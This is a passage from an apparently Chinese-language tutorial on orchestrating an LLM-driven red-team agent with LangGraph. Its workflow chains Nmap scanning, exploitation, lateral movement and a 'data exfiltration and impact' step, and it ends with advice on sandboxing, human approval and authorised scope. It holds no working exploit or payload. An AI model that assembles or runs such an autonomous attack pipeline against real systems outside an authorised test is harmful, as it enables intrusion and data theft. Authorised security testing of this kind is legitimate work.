print("n--- Final Report Generated ---")
print(final_report.content)
return {**state, "report_draft": final_report.content, "messages": messages, "current_task": "报告生成完成"}
6. 构建 LangGraph 工作流
现在,我们将所有节点和决策函数连接起来,构建完整的 LangGraph。
# 构建 LangGraph
workflow = StateGraph(AgentState)
# 添加节点
workflow.add_node("initialize_recon", initialize_recon)
workflow.add_node("perform_nmap_scan", perform_nmap_scan)
workflow.add_node("discover_vulnerabilities", discover_vulnerabilities)
workflow.add_node("select_and_exploit_vulnerability", select_and_exploit_vulnerability)
workflow.add_node("post_exploitation_and_lateral_movement", post_exploitation_and_lateral_movement)
workflow.add_node("data_exfiltration_and_impact", data_exfiltration_and_impact)
workflow.add_node("generate_final_report", generate_final_report)
# 设置入口点
workflow.set_entry_point("initialize_recon")
# 添加边
workflow.add_edge("initialize_recon", "perform_nmap_scan")
workflow.add_edge("perform_nmap_scan", "discover_vulnerabilities")
# 侦察后的决策
workflow.add_conditional_edges(
"discover_vulnerabilities",
decide_next_step_after_recon,
{
"penetrate": "select_and_exploit_vulnerability",
"report": "generate_final_report",
},
)
# 渗透后的决策
workflow.add_conditional_edges(
"select_and_exploit_vulnerability",
decide_after_penetration,
{
"lateral_movement": "post_exploitation_and_lateral_movement",
"report": "generate_final_report",
},
)
# 横向移动后的决策
workflow.add_conditional_edges(
"post_exploitation_and_lateral_movement",
decide_after_lateral_movement,
{
"recon_new_target": "perform_nmap_scan", # Loop back to recon for new targets
"data_exfiltration": "data_exfiltration_and_impact",
},
)
# 数据窃取后的决策
workflow.add_edge("data_exfiltration_and_impact", "generate_final_report")
# 编译图
app = workflow.compile()
# 运行 Agent
initial_state = {
"target_scope": ["192.168.1.100", "example.com"],
"recon_data": {},
"vulnerabilities": [],
"exploits_attempted": [],
"access_gained": [],
"lateral_movement_data": {},
"exfiltrated_data": [],
"report_draft": None,
"messages": [HumanMessage(content="Start red team operation on specified targets.")],
"current_task": "Starting",
"human_intervention_required": False
}
# for s in app.stream(initial_state):
# if "__end__" not in s:
# print(s)
# print("---")
# 为了更清晰地看到最终结果,直接运行到结束
final_state = app.invoke(initial_state)
print("nn=== Red Team Agent Operation Completed ===")
print("Final Report Snippet:")
print(final_state.get("report_draft", "No report generated.").split('###')[0]) # Print executive summary
# 可以保存完整的报告
with open("red_team_report.md", "w", encoding="utf-8") as f:
f.write(final_state.get("report_draft", "No report generated."))
print("nFull report saved to red_team_report.md")
LangGraph 工作流可视化 (概念图)
虽然不能插入图片,我们可以用表格描述 LangGraph 的大致结构和流程:
| 阶段/节点 | 输入状态 | 输出状态 | 决策/转换条件 | 下一步节点 |
|---|---|---|---|---|
| initialize_recon (初始化) | target_scope |
current_task |
无 | perform_nmap_scan |
| perform_nmap_scan (Nmap扫描) | target_scope, messages |
recon_data, messages |
无 | discover_vulnerabilities |
| discover_vulnerabilities (漏洞发现) | recon_data, messages |
vulnerabilities, messages |
decide_next_step_after_recon |
select_and_exploit_vulnerability / generate_final_report |
| select_and_exploit_vulnerability (初始渗透) | vulnerabilities, messages |
exploits_attempted, access_gained, messages |
decide_after_penetration |
post_exploitation_and_lateral_movement / generate_final_report |
| post_exploitation_and_lateral_movement (横向移动) | access_gained, messages |
lateral_movement_data, messages |
decide_after_lateral_movement |
perform_nmap_scan / data_exfiltration_and_impact |
| data_exfiltration_and_impact (数据窃取) | access_gained, messages |
exfiltrated_data, messages |
无 | generate_final_report |
| generate_final_report (报告生成) | target_scope, recon_data, vulnerabilities, access_gained, … |
report_draft, messages |
无 | END |
架构考量与最佳实践
构建如此复杂的 Agent 并非易事,需要考虑诸多方面:
- 工具封装与沙箱化: 实际的安全工具(Nmap, Metasploit, Mimikatz)通常需要特定的环境和权限。将它们封装成独立的、可调用的函数是第一步。更重要的是,这些工具的执行必须在严格沙箱化的环境中进行,以防止意外破坏目标系统或对 Agent 自身造成危害。Docker 容器、虚拟机或隔离的云环境是理想选择。
- 输入验证与安全: Agent 接收的任何输入,无论是初始目标还是 LLM 生成的命令,都必须经过严格的验证和清理。防止命令注入和其他安全漏洞至关重要。
- 人类介入点 (Human-in-the-Loop): 在高风险操作(如实际利用漏洞、执行破坏性命令)之前,Agent 应该暂停并请求人类批准。LangGraph 的
interrupt机制可以很好地支持这一点。 - 可观测性与日志: 详细的日志记录是必不可少的,包括 Agent 的决策过程、调用的工具、工具的输入和输出,以及状态的变化。这对于审计、调试和理解 Agent 行为至关重要。LangGraph 提供了良好的追踪能力。
- LLM 提示工程: LLM 的性能高度依赖于提示的质量。为每个决策节点设计清晰、具体的提示,引导 LLM 给出有效和安全的建议。例如,要求 LLM 在推荐命令时,同时考虑潜在的风险。
- 错误处理与恢复: 攻击过程中可能会遇到各种错误(网络问题、工具失败、权限不足)。Agent 应该有健壮的错误处理机制,能够回滚、重试或选择替代路径。
- 知识库集成: LLM 的知识是有限的。通过集成一个外部知识库(如 CVE 数据库、攻击框架如 MITRE ATT&CK、内部渗透测试手册),可以显著增强 Agent 的决策能力。
- 伦理与法律: 自动化红队测试必须严格遵守伦理规范和法律法规。确保所有测试都在明确授权的范围内进行,并对潜在的负面影响有充分的评估和控制。
挑战与未来展望
尽管 LangGraph 为构建智能红队 Agent 带来了巨大的潜力,但我们仍面临诸多挑战:
- 真实世界的复杂性: 实际网络环境的复杂性远超模拟。Agent 需要处理各种意外情况、绕过复杂的防御机制(如 EDR、WAF)以及适应不断变化的目标。
- LLM 的局限性: LLM 可能会产生“幻觉”,生成不正确或不安全的命令。如何确保 LLM 建议的准确性和安全性是一个持续的研究方向。
- 对抗性 AI: 防御方也在利用 AI 强化其防御。未来的红队 Agent 需要具备对抗性学习能力,以应对智能化的防御系统。
- 自主学习与进化: 理想的 Agent 应该能够从每次渗透测试中学习,积累经验,优化其攻击策略和决策模型,实现自我进化。
总的来说,利用 LangGraph 编排的智能红队 Agent 代表了网络安全领域的一个激动人心的方向。它将 LLM 的智能推理能力与结构化的工作流控制相结合,为我们提供了一个前所未有的工具,能够以更高效、更全面、更智能的方式模拟真实世界的网络攻击。通过持续的迭代和优化,我们有理由相信,这样的 Agent 将在提升企业安全韧性方面发挥越来越重要的作用。